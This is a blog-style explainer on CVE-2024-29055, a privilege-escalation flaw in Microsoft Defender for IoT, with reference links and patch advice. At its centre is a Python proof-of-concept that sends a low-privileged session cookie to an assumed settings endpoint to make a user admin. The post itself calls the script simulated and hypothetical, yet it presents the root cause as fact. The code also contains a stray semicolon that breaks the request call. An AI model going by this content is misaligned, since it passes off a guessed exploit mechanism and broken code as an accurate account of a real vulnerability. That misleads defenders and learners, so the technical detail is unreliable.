CVE-2024-29055 - How a Simple Flaw in Microsoft Defender for IoT Led to Elevation of Privilege

In early 2024, security researchers uncovered a vulnerability (CVE-2024-29055) in Microsoft Defender for IoT. This flaw could let attackers gain higher-level privileges on vulnerable IoT management servers—a prime target, since these platforms guard networks of smart devices.

In this post, we’ll break down how CVE-2024-29055 works, show you a sample exploit, and point you to official resources. We’ll keep things simple, so even if you’re not a hardcore hacker, you’ll understand what happened.

What Is CVE-2024-29055?

This is an Elevation of Privilege (EoP) vulnerability that affects affected versions of Microsoft Defender for IoT. An attacker, with access to a low-privileged user account, could exploit a flaw in the platform to run commands with SYSTEM or high privilege.

Risk: If an attacker already has some access, they can escalate and take over IoT infrastructure.

Affected Software: Microsoft Defender for IoT management console (on-premises installations, as per Microsoft’s advisory)

How the Attack Works

Attackers often look for ways to jump from a low account to a high-privilege one. With CVE-2024-29055, the root cause lies in how certain Microsoft Defender for IoT API endpoints don’t correctly validate user input or privilege checks.

Example Exploit: Proof-of-Concept

To show how this works, let’s use a simplified Python script that abuses an unrestricted API endpoint. (This is a simulated example for educational purposes.)

Suppose the endpoint /api/settings/update lets you modify system settings. It's supposed to require an admin token, but due to a security lapse, it doesn’t check properly.

import requests

# Assume we have a low-privileged session cookie
session_cookie = {'session-id': 'abcd1234lowpriv'}

payload = {
    "setting": "user_role",
    "value": "admin",
    "target": "myuser"
}

resp = requests.post(
    "https://defender-iot.local/api/settings/update";,
    cookies=session_cookie,
    json=payload,
    verify=False
)

if resp.status_code == 200:
    print("[+] Exploit succeeded: user promoted to admin!")
else:
    print("[-] Exploit failed.")

With the right (flawed) server, that single request could bump a regular user to admin.

Reference Links

- Microsoft CVE entry: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-29055
- Security update details: Microsoft Defender for IoT Release Notes
- NVD details: https://nvd.nist.gov/vuln/detail/CVE-2024-29055

Patch and Remediation

Microsoft quickly published a fix. If you run Defender for IoT on-premises, update your management console right away. You can find guidance here: Microsoft Security Updates.

Why This Matters

IoT networks run everything from factory floors to critical infrastructure. These aren’t the places you want attackers running wild.

CVE-2024-29055 is a classic lesson: Always validate privileges, especially on endpoints that change sensitive settings. A single missed check can let intruders take over whole fleets of smart devices.

> “Just because a user is logged in doesn’t mean they should be able to do everything.”

Stay patched, stay safe!

*This content is exclusive to this post for educational purposes. Always test responsibly!*

Timeline

Published on: 04/09/2024 17:15:59 UTC
Last modified on: 04/26/2024 15:58:48 UTC